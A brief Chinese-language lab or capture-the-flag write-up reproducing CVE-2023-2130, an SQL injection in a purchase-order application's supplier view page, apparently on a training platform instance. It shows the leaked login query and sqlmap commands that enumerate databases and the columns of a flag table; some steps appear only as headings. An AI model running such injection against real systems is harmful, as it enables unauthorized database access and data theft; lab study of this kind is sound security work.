漏洞复现

一个登录框

抓包登录，回显有内容

存在sql查询语句

查找users表下username=admin，且password=132456的md5值的结果

{"status":"incorrect","last_qry":"SELECT * from users where username = 'admin' and password = md5('132456') "}

访问该路径

http://eci-2zecm12uicdsdye54d6n.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php

跟上id参数后出现回显，调用了数据库信息

简单测了一下，单引号存在注入，**–+**可以注释

使用sqlmap去跑，跑数据库

└─$ sqlmap -u "http://eci-2zecm12uicdsdye54d6n.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --dbs 
available databases [4]:
[*] information_schema 
[*] mysql

爆数据表

爆fllllaaaag表下的数据

┌──(track㉿kali)-[~/CVE/CVE-2023-2130]

或者爆fllllaaaag表下的列

┌──(track㉿kali)-[~/CVE/CVE-2023-2130]
└─$ sqlmap -u "http://eci-2zecm12uicdsdye54d6n.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" -D purchase_order_db -T fllllaaaag --columns

然后再爆破具体的内容
